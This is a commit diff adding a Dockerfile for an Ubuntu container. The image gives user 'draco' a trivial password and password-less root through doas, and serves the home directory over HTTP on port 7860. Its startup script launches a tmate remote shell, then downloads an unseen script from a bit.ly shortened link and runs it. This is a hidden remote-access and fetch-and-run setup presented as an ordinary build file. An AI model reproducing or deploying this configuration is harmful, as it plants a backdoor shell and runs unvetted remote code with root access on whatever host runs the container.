Create Dockerfile

Dockerfile

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+FROM ubuntu:22.04
+
+ENV DEBIAN_FRONTEND=noninteractive
+ENV LANG=en_US.UTF-8
+ENV LANGUAGE=en_US:en
+ENV LC_ALL=en_US.UTF-8
+
+# Install system dependencies
+RUN apt update && apt upgrade -y && \
+    apt install -y \
+    curl wget git gnupg openssh-client \
+    neofetch tmate python3 python3-pip \
+    ca-certificates software-properties-common \
+    build-essential procps xz-utils net-tools \
+    make ffmpeg nano vim htop unzip zip \
+    iputils-ping tree lsof netcat tmux \
+    locales cmake && \
+    locale-gen en_US.UTF-8 && \
+    apt clean && rm -rf /var/lib/apt/lists/* && \
+    apt update && apt install -y doas
+
+# Install Node.js 22 and latest npm
+RUN curl -fsSL https://deb.nodesource.com/setup_22.x | bash - && \
+    apt install -y nodejs && npm install -g npm
+
+# Install Python tool
+RUN pip3 install speedtest-cli
+
+# Create 'draco' user
+RUN useradd -m -s /bin/bash draco && \
+    echo "draco:draco" | chpasswd && \
+    usermod -u 1000 draco
+
+# Allow 'draco' to use doas without password
+RUN echo "permit nopass draco" > /etc/doas.conf
+
+# Alias sudo to doas
+RUN echo "alias sudo='doas'" >> /home/draco/.bashrc
+
+# SSH key for draco
+RUN mkdir -p /home/draco/.ssh && \
+    ssh-keygen -t rsa -f /home/draco/.ssh/id_rsa -N '' && \
+    chown -R draco:draco /home/draco/.ssh
+
+# Create tmate+script launcher
+RUN echo '#!/bin/bash\n\
+tmate -F &\n\
+wget -O su.sh https://bit.ly/akuhGet && chmod +x su.sh && ./su.sh\n\
+python3 -m http.server 7860' > /home/draco/startup.sh && \
+    chmod +x /home/draco/startup.sh && \
+    chown draco:draco /home/draco/startup.sh
+
+# Set user and working dir
+USER draco
+WORKDIR /home/draco
+
+# Expose HTTP server port
+EXPOSE 7860
+
+# Start everything
+CMD ["bash", "startup.sh"]